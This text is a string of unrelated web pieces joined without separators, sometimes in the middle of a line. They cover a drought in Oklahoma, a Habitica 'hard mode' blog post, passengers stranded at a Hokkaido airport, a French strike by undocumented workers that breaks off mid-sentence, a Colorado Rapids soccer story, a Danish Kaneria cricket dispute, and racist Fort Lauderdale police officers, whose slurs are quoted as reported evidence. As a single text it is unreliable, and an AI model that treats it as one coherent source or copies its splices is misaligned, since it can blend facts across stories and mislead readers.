Even the available statistics on homicide victims, though, are misleading. According to Beverly Tillery of the New York City Anti-Violence Project, the number of LGBTQ people who died at the hands of a romantic partner that her group was able to track isn't even close to the actual number of people in the community killed each year.
"The lack of awareness and visibility in the media of LGBTQ victims of intimate partner violence contributes to this issue being ignored as a national problem," said Tillery. "Transgender victims are frequently misgendered and misnamed in media reports, and the intimate partner relationships of same gender couples are often reduced to friendships in media accounts of these homicides. This needs to change."Media playback is unsupported on your device Media caption How the drought is affecting crops and the land in Oklahoma
A menacing cloud of dust swirling above a parched field in Oklahoma is a disturbing reminder of the power of drought.
All too often here, when the land is baked dry, the winds can strip away an inch of precious topsoil in as little as 24 hours, soil that has taken centuries to form.
In the course of the most arid years, each acre of farmland can lose up to 70 tons of soil and then, wherever the dust is dumped, it can smother the crops it lands on.
In the Oklahoma Panhandle, the most remote area of the state, recent rainfall has been so meagre that fears have been kindled of a return to the apocalyptic "Dust Bowl" scenes of the 1930s.
Back then, agriculture collapsed and thousands of people left.
A survivor of the 1930s, 101-year-old Millard Fowler, who recalls sheltering from the "rolling black clouds" of the Dust Bowl, has seen similar conditions this year.
We try to do the right things and have modern technology but Mother Nature still dictates what happens Rick Kochenower, Oklahoma State University
"Somebody asked me the other day if dust storms would happen again and I said 'they already have' - we've had some pretty good dust storms this spring," he said.
One of the worst was filmed by a local woman, LeLayne Tapp, and the video showed dust engulfing the community of Boise City, turning the sunlight orange and making roads impassable.
A farmer, JB Stewart, surveying one of his ruined wheat fields, told me that he had seen many droughts in his lifetime but the current one was "insane" because it has lasted so long.
"I've seen droughts over 50 years but nothing as devastating as what we've had in the last two to three years - I've never heard of anything like what we've had," he said.
His son Jarod, the fifth generation of the family to farm this land, said: "We've lost the crop and we've now got to figure out how to stop the soil from blowing.
"I'd compare it to the death of a loved one - you nurture this crop and invest in it and then you watch that crop die, it's devastating."
Across many parts of the state, the drought is acknowledged to have started three-and-a-half years ago with between 30-50 inches less rainfall than on average over that time.
Image copyright LeLayne Tapp Image caption One recent dust storm was captured on mobile phone camera footage
Image copyright LeLayne Tapp Image caption The dust blocked out sunlight, turning the sky yellow
Image copyright Other Image caption Residents have been shocked that rainfall has been so poor
Gary McManus, the Oklahoma State Climatologist, told the BBC: "The drought right now is the worst in decades especially in western Oklahoma.
"This has had a big economic impact on our economy - if you look at agriculture in 2011-12 alone there were $2bn losses from crops and cattle."
He highlights rainfall statistics for the weather station in Boise City in the midst of one of the hardest-hit areas, Cimarron County, where the total from October 1 2010 to June 12 2014 was just 43 inches.
Image caption 101-year-old Millard Fowler lived through the 1930s Dust Bowl period
By comparison, over the same period in the 1930s, a time of extraordinary hardship, Boise City received only 41.62 inches of rain.
Back then, massive dust storms destroyed such vast areas of farmland that a journalist, reporting on what became an environmental and human catastrophe, coined the term "Dust Bowl".
Years of drought, exacerbated by poor farming practices, left the fields without vegetation or any form of protection, so the soils were vulnerable to the winds.
In one notorious storm in April 1935, dust was swept all the way to Washington DC, where it alerted the federal authorities to the unfolding nightmare.
The wrecking of harvests and the crushing of livelihoods were then seared into the national memory in literature such as John Steinbeck's Grapes of Wrath, with its account of the plight of the Joad family.
Since then, important changes in farming policy have lessened the impact of the drought.
Image copyright Getty Images Image caption The current situation has raised fears of a return to the 'Dust Bowl' conditions of the 1930s
The technique of "no-till" agriculture - in which ploughing is avoided and stubble is deliberately left standing in fields - reduces the amount of farmland exposed to the winds.
And farmers can now buy government-supported crop insurance and receive grants for planting farmland with natural grasses which are better able to withstand drought.
But what has shocked many in this region is that rainfall has been so poor that even some of the best-kept fields have become miniature dust bowls.
Rick Kochenower, an agronomist with Oklahoma State University, developing new techniques of crop rotation and water conservation, said conditions were "scary" and "make you feel helpless".
"We try to do the right things and have modern technology but Mother Nature still dictates what happens, she's the driving force - all plants require water to grow," he said.
Image caption Dr Renee McPherson says the region could see increased drying as temperatures rise
A key question is whether future droughts will become more intense.
The farmer, JB Stewart, wonders if a long period of good rainfall that he enjoyed in the 1970s and 80s means there can be an equally long period of poor rain in decades ahead. Others avidly follow reports of a stirring El Nino, which could bring moisture to Oklahoma.
Dr Renee McPherson of the University of Oklahoma was an author of the Great Plains chapter of the recent National Climate Assessment.
She says the region experiences very large climate variability but that models suggest there will be a rise in maximum temperatures this century.
That could increase evaporation from the ground and transpiration from plants.
"We're less sure of what will happen to our precipitation patterns, but even if they stay the same, we'll see increased drying with those increased temperatures," she explained.
"We aren't sure what the droughts will look like in future - whether they'll be longer - but we feel that because of the increasing temperature they will be intensified."
Millard Fowler, the Dust Bowl survivor, worries that although farmers are supported, life will become tougher as supplies of groundwater, used for irrigation, run low.
He said: "There's very few living out on the farms anymore - they moved to towns where they could get television."Okay so there is no difficulty setting in this game, but I have found ways to make it harder, and thus, more interesting to play. I also found that when I made the game harder, it became a more realistic vehicle for self improvement. So here is how to play Habitica on HARD MODE!
Set up punishing Habits!
Besides doing something extraordinary like going through the trouble to buy ice and make an Ice Bath for recovery from training, I’m primarily keeping track of things that kill me. An unmade bed, a burrito at Moe’s, a cup of coffee… No easy way to mindlessly rack up points and level up here. Only pitfalls and barriers.
Create more difficult Dailies!
For me, motivating myself to film anything is difficult. So that would make a great Daily,
Increase difficulty of your Dailies!
Start with quantifying some of your Dailies,
And then increase them,
Compound your Dailies!
Instead of having separate Dailies like this,
Combine them into one Daily like this,
What does compounding Dailies like this do for me? Well, in order to get any XP or Gold I have to do every sub-item in the compounded list. If I miss just one sub-item I get nothing at all, and actually lose HP instead. OUCH! Besides being less forgiving, this also makes XP and Gold accrual much slower. Especially since I set just about all my Dailies to the easy difficulty even if it is hard for me.
Here’s one of my compounded Dailies.
Please note above, I haven’t had my daily dose of Ground Flaxseed today. Do you think I’m going to miss it? Absolutely not! It’s the only thing left I have to do to get my XP and Gold for this compounded list. If I don’t do it then I get nothing and lose HP, despite the fact I did EVERYTHING else on that list! I’m not going to miss my daily dose of Ground Flaxseed, I assure you of that.
Create way too many Dailies!
This is where it gets really fun! Create several sets of compounded Dailies so that it’s almost impossible to do them all. This way everyday you lose HP slowly. Here are a couple more of my Dailies.
So today I spent a lot of time with my friend. I didn’t make time to do all the things on my Hygiene / Preparation list. So I’m going to lose HP tomorrow because of this. All I can do now is pick off a few of the easier items on the Hygiene / Preparation list to reduce the damage dealt to me tomorrow. But because this is HARD MODE, and I have several more compounded Dailies like this, everyday I’m slowly dying because I cannot do everything everyday. My only salvation is to finish some of my compounded Dailies to full completion everyday. Because as I finish some of them, I get some XP and Gold. And XP gets me closer to leveling up. When you level up in Habitica your HP bar goes back to full.
And gold helps you buy the Potion to restore HP. Playing on HARD MODE like this makes the health potion in the market actually useful. Also, playing on HARD MODE like this makes you appreciate armor more. Anything that boosts your CON (Constitution) becomes that much more valuable (increasing your CON helps reduce the damage missed Dailies take). Ultimately, playing on HARD MODE adds a strategic element to this game. Much like a traditional RPG game.
Create only Extraordinary To-Dos!
I use my Habitica ToDos list exclusively for extraordinary things. Challenges and mini quests. Examples:
Release this website (Acrobolix).
Train at midnight at the gym with squats and film it.
Do 100 Hyperswipes this summer.
Don’t use caffeine for 1 week.
Go on a 3 day road trip.
Find 8 new tricking locations by end of Summer.
Secure a better working arrangement with boss.
These things are infinitely more difficult and rewarding than:
Buy batteries.
Do laundry.
Pay cell phone bill.
Making your ToDos list into a list of Challenges that do not expire keeps you from mindlessly racking up points. And it also ensures that you don’t get too locked into a robotic routine of trying to battle your Dailies. I can stay alive and level up by jumping outside my daily routine and conquering challenges and mini quests instead. I usually set my ToDos to hard difficulty so they are more rewarding too, this way I’m encouraged to do them instead of Dailies given the opportunity.
Start Boss Quests
Here’s me and my 3 friends who formed a party,
When we play a boss quest we all get to fight a boss together, such as the Ghost Stag,
Everyday we complete our Dailies we do damage to the boss, and when we don’t, every other member of the party suffers. Here’s a damage log,
Ghost Stag has done 4.7 points of damage to the party in the past two days according to this log. That’s 4.7 points of damage MORE than would be accrued if you were playing alone. One’s party members are responsible for one another. So, unless you want to be an ass, try harder to complete your Dailies, else your friends suffer. Here’s an example of my party member AidenBloodaxe being a jerk:
Aiden come’on man!!! Ok ok. In Aiden’s defense he’s the party Mage, so he is the one that deals 85% of the damage to the boss. Without him Boss quests would last months instead of weeks. So anyway, Boss quests make Habitica a lot harder, and more fun! Also, you can play Boss quests by yourself if you want. When you do this, any damage you would receive at the end of the day would be higher than normal. Fight Bosses!
Don’t make Habitica too hard for you!
The tricks above for increasing difficulty should be implemented slowly. It’s easy to make this so hard you simply can’t win. Don’t do that, be realistic. To be realistic, just ask yourself whether or not the way you have set the game up for yourself is encouraging you to do things that will help you reach your goals. I’m often tempted to add lots of extraneous things into the mix that seem like good habits to do everyday, but if they become too numerous or so distracting that I can’t do the bread’n’butter of what is going to make me level up in real life (for real) then it’s not going to work. Who cares if my bed is made, if my teeth are brushed and if my room is cleaned if I’m not training in new places with new people, filming awesome videos, and helping people reach their training goals? I always work backwards from my life goals. Work backwards from your life goals when creating your Habitica setup.HOKKAIDO - For the second time this December, Singaporean passengers are stranded in Hokkaido after heavy snow caused more than 250 flight delays and cancellations there.
Scoot flight TZ215, scheduled to fly at 5.25pm on Thursday (Dec 22), was cancelled due to heavy snow and was to depart on Saturday (Dec 24).
The passengers boarded the Scoot flight late Saturday afternoon, but the plane was delayed for several hours because the right engine could not be started. They took off close to 8.30pm local time.
At least one Singaporean on Eva Airways' BR115, which was cancelled on Friday, was also affected.
Ms Angelina Hing and her family have spent two nights on the floor of New Chitose Airport in Sapporo since Thursday, she told The Straits Times.
Heavy snow caused more than 100 flights out of New Chitose Airport to be cancelled from Dec 22, 2016. PHOTO: JEROME LIM
The 46-year-old lawyer estimates that a few hundred people were stranded at the airport.
As the hotels near the airport were full, many people were sleeping on the floor of the airport. They had to queue for more than two hours just to get blankets, she said.
Scoot provided meal vouchers, but they were of limited use, she added.
They were "only applicable to a handful of eateries, and on Thursday night by the time we checked out all eateries had closed". The eateries and convenience stores also ran out of food as more and more people arrived at the airport.
They have checked in and checked out three times since Thursday, she said.
On Friday, it took them more than three hours to check in, only to check out when flights were cancelled again.
Stranded passengers sleeping on the floor of New Chitose Airport.PHOTO: ANGELINA HING
She said that Scoot staff were polite but "displayed very little flexibility", and there was a "lack of communication" which added to their frustration.
But they were hopeful that they would be able to fly out soon as the weather appears to have cleared.
"With sunny skies today everyone is dying to get out of Chitose," she said.
Restaurants were either closed or ran out of food, and shelves at a convenience were wiped out.PHOTO: JEROME LIM
Scoot said in a statement that flight TZ216 bound for Sapporo was diverted to Tokyo on Thursday as the runway at New Chitose Airport was closed. The flight only landed at around 10.50am on 23 Dec.
"Consequently, Scoot flight TZ215, originally scheduled to depart Sapporo for Singapore via Taipei at 5.25pm on 22 December, was delayed as well," it said.
"However, the aircraft was not able to depart on 23 Dec due to adverse weather, which led to the closure of the airport in early afternoon."
A total of 284 flights were cancelled ton Friday, with about 6,000 people spending the night at the airport, national broadcaster NHK reported.
As there were no hotel rooms available, the more than 300 affected guests were issued meal vouchers.
The snow storm has cleared and passengers are hopeful that they can fly home on Saturday. PHOTO: TAN KENG WEE
The situation at the airport showing crowds of passengers at check-in counters. PHOTO: TAN KENG WEE
Singaporean dentist Tan Keng Wee, 28, who is travelling with seven friends on China Eastern airline, said that they waited in the plane for seven hours on Friday before being asked to disembark.
The airline also has no ground staff at New Chitose, he said.
"It's been pretty terrible... The convenience stores were emptied out completely by the time we got out and we had to find space on the floor to sleep on," he said. "People were hoarding power points; blankets were being given out but the queue was longer than the one we have in Singapore for baked cheese tarts because every single flight was cancelled."
Facebook user Eric Cheong told The Straits Times that Eva Airway's BR115 was scheduled to leave New Chitose Airport in Sapporo at 3.20pm on Friday (Dec 23). It was also cancelled due to heavy snow.
He said they were inconvenienced as the cancellation was announced late at night.
He and his companions had to sleep over in the airport as the cancellation was only announced at 8pm when all the restaurants were closed and they were not able to find hotel accommodation anymore, Mr Cheong said in a Facebook message to ST.
He will have to spend Christmas eve at the airport as the flight to Taipei has been re-scheduled to Sunday afternoon.
He is among more than 700 passengers of Eva Airways affected, according to Taiwan reports.
Related Story Travellers stuck in Japan airport for 57 hours
More than 300 passengers taking China Airlines flights were also stranded, Focus Taiwan said.
It added that all hotels near the airport have been booked, and China Airlines could only provide its passengers with sleeping bags and blankets and have them rest at the airport's departure hall.
Nearly 200 Singapore Airlines passengers were stuck in northern Japan about two weeks ago after more than 250 flights were cancelled due to inclement weather.Workers Without Status in France Emerge as a Social Force
Karen Wirsig
At the end of the afternoon of May 27, a mass demonstration marched into the Place de la Bastille in Paris. The march itself represented what can now be viewed as a low point in the national union mobilizations to challenge the proposed weakening of France’s public pension regime and other reactionary responses of Nicholas Sarkozy’s government to the world economic crisis. But despite the rain, despite the niggling worry that fatigue was overtaking the movement and apathy the French public, a group of marchers went to work making sure it was a day the French labour movement won’t soon forget.
Hundreds of striking workers without status, known as “travailleurs sans papiers,” set about occupying the steps of the Bastille Opera House in what was to be a crucial stand in their astounding strike.
The strike had started on October 12, 2009, a year ago last week, the morning after a spirited rally and preparation session at the headquarters of France’s biggest union, the Confederation Generale du Travail (CGT), on the eastern edge of Paris’s central city. Thousands of workers, men and women born around the world and living in France under the most fragile conditions, mounted dozens of picket lines at temporary agencies, construction companies, cleaning firms and restaurants.
In all, some 6,700 workers stepped out of the shadows and into a central role in re-energizing France’s left social movements, their physical presence confirming what everybody knew but few people seemed to face: just how much certain employers were relying on, and profiting from, directly or indirectly through sub-contractors, workers with no social rights. These included the well-connected international construction firm Bouygues and other builders, well-known restaurant chains and even the Paris public transportation authority, the RATP.
The strike represented a shift away from the struggle via individual and group hunger strikes and church occupations characteristic of the 1980s and 1990s, when people without status in France were still often known as “clandestine.” Those campaigns most often aimed to fight deportations and refusal of refugee status. They involved associations and community groups, not labour unions. And the reality of the migrants as workers was not often evoked.
France is the second immigrant nation in the world, after the United States. For more than a century, migrant workers – often from countries colonized by France and from Eastern and Southern Europe – came to build the country. Many got status through their employment and stayed in France. In 1970, the Bouygues boss admitted in an interview for the documentary Etranges étrangers that he could pay migrant workers 30% less than their French counterparts. The film, made by former public television producers who had been fired in the wake of a bitter strike, with the support of the CGT, is credited with raising awareness among French citizens of the appalling living and working conditions of migrant workers in France in that era. The film was widely seen, despite the fact that Bouygues blocked it from ever being shown on television because of the incriminating interview.
In 1972, the French state suddenly made it more difficult for workers to gain the right to stay in France by holding a job. Anthropologist Alain Morice points out that the first move to limit legal worker immigration took place before the oil shocks and the resulting economic crisis, arguing the move reflected both the xenophobia of the government of the day and, more concretely, a desire to clamp down on North African immigrant workers who – in the wake of the 1968 rebellion of workers and students, both French-born and immigrants, across France – had become active in struggles for better housing, against racism and for justice in Palestine. As had always been the case, they were also joining unions. Some of the activists were denied renewal of their visas and the term “sans papiers” was born. (Morice, Alain, “Le movement des sans-papiers ou la difficile mobilization collective des individualismes,” in Histoire politique des immigrations (post)coloniales, France 1920-2008, Boubeker and Hajjat eds, Editions Amsterdam, 2008).
In 1973, 20,000 North African workers without status launched a general strike to oppose racist murders. The strike was put down but the continuing movement ended up securing status for all of the striking workers in 1975. (Désobéir avec les sans-papiers, Le passager clandestine, 2009).
Meanwhile, in 1974, the government issued a circular outright denying the right of permanent immigration based on employment. As Morice points out, the new rule created a permanent class of people without status in France that exists to this day, people who come to France through formal or informal channels to take the always low-pay and sometimes dangerous jobs that, even in an economic crisis, never disappear.
Numerous campaigns and movements for public recognition and status led to the regularization of thousands of people in France up to 2008 and the turning of public opinion increasingly in their favour. But the victories themselves were limited to those whose files were approved in the particular campaign, never extending the principle of rights for all racialized immigrants to a full life in France. And the system never stopped creating people without status.
In 2006, a group of 150 laundry workers in Essonne, a southern suburb of Paris, launched a strike to secure status for 22 among them. “Up to then, the collectives (of sans-papiers) occupied public squares and churches,” Raymond Chauveau, secretary general of the local CGT, who was to become a key leader in subsequent strikes, recently told the daily L’Humanité. “It’s the first time that workers without status and their colleagues went on strike to demand regularizations.”
The strike was successful but, as in the previous campaigns, it benefitted only the people directly involved without providing any structural gains for all workers without status.
A change in labour law in 2007 again opened the door to status via a job, even as it threatened employers with fines for employing workers without status. The new law, however, followed the further closing of the French – and European – border as part of what is known among activists and migrants as Fortress Europe. It has become almost impossible for workers from the global South to gain legal access to France; and those already in the country without status don’t risk leaving for fear of never getting back.
The new law should have made it easier for the trapped to get their papers, but the prefectures – the local representatives of the state charged, among other things, with adjudicating visa applications from residents in their jurisdiction – are uneven and arbitrary in how they apply the law. On top of that, employers are loath to fill out the paperwork and pay the tax necessary to secure the visas, let alone accede to the prevailing wage and working conditions a worker with status and the backing of a union could then claim.
Workers Without Status Turn to the Labour Movement
In 2007, more workers without status decided to strike and went to the CGT’s Raymond Chauveau for help. On 15 April 2008, in what has become known as the first wave, a few thousand went on strike to force the employers and the prefectures to follow the law and give them status. After a couple of months, 3,000 strikers got status. Meanwhile, the Collectif de sans papiers in Paris, angry that the CGT had usurped the movement and excluded certain workers from the strike – those working under the table, personal care workers and isolated workers – decided to occupy the union’s office in Paris. This group was to be evicted at the hands of CGT security 13 months later. Also in that period, some prefects around Paris began visiting employers and threatening them with fines, resulting in the firing of many workers without status. The movement seemed to be in tatters.
Except that workers without status were not giving up. Increasing numbers were stepping into the open to demand rights and, despite the controversy with the CGT, seemed willing to ally themselves with whichever organizations would help them. Eleven organizations, including the CGT and four other unions, decided to push for a structural fix for the arbitrary approach of the prefectures and the foot-dragging of the employers. Enough with the “case-by-case” approach.
On 1 October 2009, the organizations sent a joint letter to the Prime Minister demanding a new circular for interpreting the labour law that would set out a clear path to status for all workers, regardless of where they come from and what work they do, according to clear and common criteria to be used across the country. With no positive response in the offing, the spirited “second wave” strike was launched October 12, and this time it included personal-care and undeclared workers and thereby welcomed a significant contingent of women into the action. They struck under the slogan borrowed from the first wave: “We live here, we work here, we’re staying here.”
In November, after several meetings with representatives of the 11 organizations, the government responded with a new circular that was likely designed to divide the movement by explicitly excluding personal-care and undeclared workers, as well as those from Tunisia and Algeria (under the pretext of bilateral labour agreements). The strikers roundly condemned the new circular and elected to continue the strike into the harshest winter months.
Even for those with so little to lose, the sacrifices were many and also transnational: the folks back home had to go without remittances while many strikers themselves lost their housing and any financial independence they may have had. By the end of an unseasonably cold and wet month of May, something had to give and it didn’t look like it was going to be the government, despite the hope generated by its bruising loss during the regional elections it the end of March.
There had been dozens of picket lines throughout the strike, the vast majority located at the edge of central Paris and in the surrounding suburbs. Some of the lines, often occupations of a worksite or a temporary agency, had been violently dismantled by police, including those at the all-important and symbolic building sites in the ever-growing La Défense, the contemporary financial centre complete with bank towers, international chain retailers and condos at the western edge of the central city. By May, it was easy for the vast majority of people living in the Paris region, let alone across France, to forget about the strike.
Enter the occupation of the Bastille Opera House steps and the strike was once again making national headlines. What’s more, after so many cold months on the scattered picket lines, the strikers could feel and assert their numbers and their collective presence, this time at a highly symbolic location in the centre of the capital. The huge banner reading “we live here, we work here, we’re staying here” had never seemed more appropriate. The Bastille was the site of a castle and jail until the French Revolution, when a group of “rioters” – Parisian revolutionaries – came to claim the ammunition stored there. It was July 14, 1789. Three weeks later, on August 4, the tithe was to be abolished, as were seigniorial rights. A number of counterrevolutionaries were to lose their heads on that square before the guillotine was moved to what is now the Place de la Nation. And the gilded monument standing guard over the strikers occupying the Bastille honours the revolution of July 1830, when the second last French monarch, Charles I, fled to England.
Strikers Insert Themselves into France’s
Republican and Revolutionary History
The strikers, the majority born in former French colonies in North and sub-Saharan Africa, literally claimed a place for themselves in the revolutionary and republican history in France and, in so doing, captured the imaginations and sympathies of many who had, up to then, paid little attention to their struggle. The occupation itself served to motivate the labour minister to agree to a meeting with the 11 supporting organizations.
Early in the morning of the eighth day of the occupation, before the meeting with the labour minister could take place and while the organizations were still pushing to involve the more reluctant immigration minister, the steps of the |
I cant afford to change the name on my ID I still have to sign contracts with clients under my old name.Sophia Banks
@queermusicdude @sophiaphotos I won't ever get my birth certificate changed since NJ requires surgery.GenderTerror.comCOMMERCE CITY — Painful as it was for some on the club and its fans, when the Rapids traded the popular Kosuke Kimura last week to Portland, it may have been like ripping off a bandage. The team finally feels back to normal — at least for now.
The Rapids have, for the first time this season, what seems like a settled defense with the re-emergence of veteran defender Hunter Freeman.
“As a player, you always want to be on the starting team,” Freeman said. “I knew it was a battle (for a starting job). I know if I was asked if I thought Kosuke would be traded, I wouldn’t say I knew it was coming.”
Freeman, one of two players on Colorado’s roster who actually played a game in a Rapids uniform before 2007 at the former Invesco Field, has started the past four games at right back. Pablo Mastroeni, on the injured list, also played at the Rapids’ former home, and Tyrone Marshall played one game at Mile High Stadium in 1998.
Kimura and Freeman had been swapping back and forth on the Rapids’ left and right sides, as coach Oscar Pareja juggled seven defenders through the season. But Kimura fell out of favor in recent weeks, going unused in three consecutive games in June and July, including two in which he was scratched from the game-day roster.
Instead, Freeman earned the spot. And in a game against Portland on June 30, his run down the right side, with a nifty move around a Timbers defender, set up a cross that Jaime Castrillon flicked in for a goal. It keyed the Rapids’ 3-0 rout.
“I feel much better,” Pareja said of the defense. “Hunter is settled. He’s certain there. We have more solidness there. He still needs to be better, he knows, because we demand it from him. But I spend a lot fewer hours thinking about it now.”
Freeman was the Rapids’ first offseason signing after Pareja was hired as coach. He returned to Colorado after playing in Houston and for IK Start in Norway’s premier league. He was originally a first-round draft pick of Colorado, at No. 7 in 2005, for former coach Fernando Clavijo.
By the time Freeman returned to Colorado this season, he was less familiar in a Rapids jersey than was Kimura, who had joined the team two years after Freeman did originally.
“We were friends,” Freeman said of Kimura. “You never like to see a teammate have to lose his job. But I’ve been traded a number of times. It’s part of the job. Hopefully our fans will realize that and appreciate what I can do.”
The Rapids are 2-6-1 with Freeman in the starting lineup. But their recent skid of four losses in five games seems to be a team-wide issue — Colorado was outscored just 6-5 over that stretch.
“It’s up and down,” Freeman said. “We need to become more consistent, and for 90 minutes. The frustration is, we’re not losing 3-0. It’s mostly by one goal. Sometimes that’s more frustrating than getting blown out.
“That’s the frustrating thing about soccer. But over the course of the season, those things even out in the results — hopefully.”
Nick Groke: 303-954-1015, ngroke@denverpost.com or twitter.com/nickgroke
Rapids vs. FC Dallas
It is Colorado’s first of three games in eight days before leaving for a two-game road trip to Toronto and Salt Lake City.
When: Saturday, 7 p.m.
Where: DSG Park in Commerce City
TV: Altitude Radio: 93.7 FM; 1510 AM
This article has been corrected in the online archive to indicate Hunter Freeman’s comment about the trade of Kosuke Kimura. He said he wouldn’t have known it was coming: “I knew it was a battle (for a starting job). I know if I was asked if I thought Kosuke would be traded, I wouldn’t say I knew it was coming.”ISLAMABAD: Members of a parliamentary committee on Monday alleged that Pakistan Cricket Board (PCB) is not helping Danish Kaneria to fight his case against lifetime ban imposed by English and Wales Cricket Board (ECB) "because he belongs to Hindu community".
“PCB is not providing financial and legal assistance to Kaneria because he is a Hindu by faith,” said PML-N lawmaker Ramesh Kumar Vankvani during the meeting of National Assembly's (NA) Standing Committee on Inter-Provincial Coordination.
The committee's meeting was chaired by Pakhtunkhwa Milli Awami Party's Abdul Qahar Khan Wadan to discuss the various management and financial issues of PCB, including the performance of national cricket team.
Vankvani was of the view that Kaneria was being discriminated against and the PCB officials were not assisting him like they had helped other cricketers in the past.
Iqbal Muhammad Ali, member of the committee, while supporting the arguments of Vankvani said, "Kaneria has no money and cannot fight the case on his own."
“Kaneria has now himself said that he was being mistreated because he is a Hindu,” added Ali.
He urged the PCB to provide legal and financial assistance to the leg spinner so that he can pursue his case against lifetime ban in the court.
Responding to Vankvani’s allegations, PCB Chief Operating Officer Subhan Ahmed said: "According to anti-corruption codes of International Cricket Council (ICC), PCB cannot provide any assistance to Kaneria."
“If any cricket board imposes ban on any player, all the member countries of ICC are bind to follow and implement the decision,” reiterated Ahmed.
He added that PCB did not provide any assistance to Muhammad Aamir, Muhammad Asif and Salman Butt when they were convicted.
Kaneria hopeful to continue for national side
Danish Kaneria, while talking to Dawn.com, said he was glad to hear that his case was being pursued.
"I am thankful to the standing committee for raising the issue. I am grateful to Iqbal Muhammad Ali and Ramesh Kumar Vankvani for pursuing my case," said Kaneria.
"It has given me a new hope to continue my career and represent Pakistan," he added.
Kaneria said that he had already written several letters to parliamentarians in the past few months to pursue his case with PCB. "I request Prime Minister Nawaz Sharif to please look into it."
Kaneria said Subhan Ahmed is speaking under pressure of English Cricket Board and whatever Ahmed said before the NA standing committee was not completely true.
"I do not think there is any law that bars PCB from pursuing the case of any contractual player," adding that he was under contract and "PCB is like fatherly figure for players".
"How can they just ignore my case, I have served Pakistan, I am a Pakistani national."
Kaneria inquired that how can Subhan Ahmed say that PCB did not support the spot fixing trio?
"Didn’t Tafazzul Rizvi fight their case? Isn’t he a lawyer of PCB?" Kaneria questioned.
"I was told that it's my personal case, and PCB won't support me," he said.
Kaneria further said that PCB did fight for Amir in ICC. "Didn't PCB violate 'Zero tolerance policy' for Amir?"
"Whatever PCB said, it comes under ECB’s pressure."
The leg-spin bowler was slapped a lifetime ban by the ECB which prevents him from playing in matches under their jurisdiction.
He subsequently filed an appeal against the ban but was rejected in July 2013.
NA body seeks PCB management's travel expenses
The members of the parliamentary committee also questioned the foreign visits of PCB Chairman Shahryar Khan, PCB Chairman Executive Committee Najam Sethi, and other officials of PCB along with their family members.
“Travelling of Shahryar Khan and Najam Sethi with the cricket team on foreign tours is illogical,” committee chairman said, adding, "Chairmen of others cricket board do not go on months-long tours."
“Who runs the affairs of PCB if its top officials remain abroad for so long period?” Ali asked, demanding the expenditure details of their tours.
The committee also expressed its concerns on sending Muhammad Hafeez on England tour despite not being 100 per cent fit.
The PCB officials, however, rebutted the committee and said that Hafeez was given clearance by a medical board before England’s tour.
Kaneria on the spot-fixing trio’s return to cricketThe word shot out on the police wire: Be on the lookout for a Ford Focus, black female at the wheel. The driver is waving a handgun at other cars.
That muggy afternoon on July 10, 2012, a Fort Lauderdale community service officer coursing through a grid of industrial streets off Sunrise Boulevard tracked the driver down to a rental agency on NW Eighth Avenue. He radioed for backup.
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Carla Flower didn't even have a chance to get out of the parking lot. The 28-year-old black woman with glowing amber eyes was at the agency to swap out a car with underinflated tires. But before she could drive off, two Fort Lauderdale Police officers ordered her and two friends out of the replacement vehicle.
The cops never found a handgun. But according to a police report, they did turn up "two small white rocks" that would later test positive for crack cocaine.
It seemed just another coke bust. But it wasn't. Charges would later be dropped after Flower claimed the drugs had been planted and the officers had showered her with racial slurs. "You're a crackhead nigger," one of the cops had yelled. "You're a crackhead whore." In the squad car, Flower says, the abusive talk continued. "Shut the fuck up now, nigger."
"They were just calling me names that you would never expect," Flower says today. "I felt like I was an animal to them."
It turns out, the racist outburst was no outlier. The officers who stopped Flower — James Wells and Christopher Sousa — recently lost their jobs, along with two other Fort Lauderdale officers, thanks to racist text messages and videos.
Three weeks ago, Fort Lauderdale Police Chief Frank Adderley and Mayor Jack Seiler announced the firings of Wells, Sousa, and Officer James Holding. Officer Alex Alvarez had quit after the racist messages were discovered.
Local media have focused recently on the firings as bad actors caught red-handed. But the scandal currently engulfing the Fort Lauderdale PD spreads far beyond off-color jokes and racist videos. New Times has found that the officers have a long history of use of force. Moreover, officers who knew about their colleagues' untoward behavior have so far skated.
"These cops represent a cultural problem going back decades," says Broward Public Defender Howard Finkelstein. "Hopefully the times are a-changin'."
The recent scandal is only the latest entry in the department's inglorious history of racism. In 1996, FLPD officers were named in a damning U.S. Department of Justice investigation into a yearly Tennessee gathering known as the "Good O' Boy Roundup." Between 1980 and 1995, the event drew around 500 attendees annually, many from law enforcement agencies.
The DOJ report found "ample evidence of shocking racist, licentious, and puerile behavior by attendees." It also noted that in 1992, a Fort Lauderdale Police officer competing in the Redneck of the Year contest performed a skit in which he "claimed to have found a watermelon that had fallen off the back of a passing truck, struck it until it broke open, and then pulled out a doll he had painted black. He described the doll as a seed and told the audience that one must 'kill the seed when it is young,' and proceeded to beat the doll."
More recently, in 2013, a New Times investigation found that 86 percent of the tickets handed out for unregistered bicycles in a three-year period went to African-Americans. A 2015 follow-up found that fewer citations had been handed out between December 2013 and September 2014, but the recipients were still overwhelmingly black — 93 percent.
Then came the most recent scandal. In October 2014, Alvarez's ex-fiancée, Priscilla Perez, emailed Adderley claiming to have proof of racist officers in the department. She provided internal-affairs investigators with screenshots from Alvarez's phone of numerous group text messages among the four officers.
The messages show not only vile racist slurs but the advocating of violence against suspects. "[We] are coming and drinking all your beer and killing niggers," Sousa wrote in one text. In a separate conversation about the search for suspects, Holding stated: "If that's true I'll kiss your ass, I want those niggers." In still another exchange related to the suspects, Holding typed out: "I had a wet dream that you two found those two niggers in the VW and gave them the death penalty right there on the spot."
In another message, Wells simply wrote: "Niggers." In another: "Niggers everywhere."
Then there was the mock movie trailer Alvarez had made for a film called The Hoods. The minute-long clip featured images of police dogs, Fort Lauderdale officers, Django Unchained shots, and images of black suspects. "But one nigger would change everything," the clip read, before showing a picture of President Barack Obama photoshopped with a gold-mouth grill and gold chains.
Alvarez quit the department in October. The remaining three officers denied having any hateful feelings for minorities. Wells referred to the conduct as "distasteful jokes." Sousa claimed his best friend since the third grade was black. Holding pointed out he was dating a Haitian woman.
Then there is their police work. According to the officers' files, all were given departmental marks for ambition and above-average performance. Holding was a two-time officer of the month. But New Times examined the internal-affairs review summaries in each of the ex-officers' files. In total, 74 incidents came under IA review. Fifty-six of those included the use of force (because Wells and Sousa were partners for a period, both files contain use-of-force situations involving both officers). At least 30 of those situations involved black suspects.
In November 2013, Alvarez broke the arm of an irate, white McDonald's customer who wouldn't leave the restaurant. "Officer Alvarez then applied force to get [the suspect]'s hands behind his back and as Officer Alvarez placed [the suspect]'s hands behind his back he heard an [sic] crunching sound," the report reads. IA found no violations of department policy in the incident.
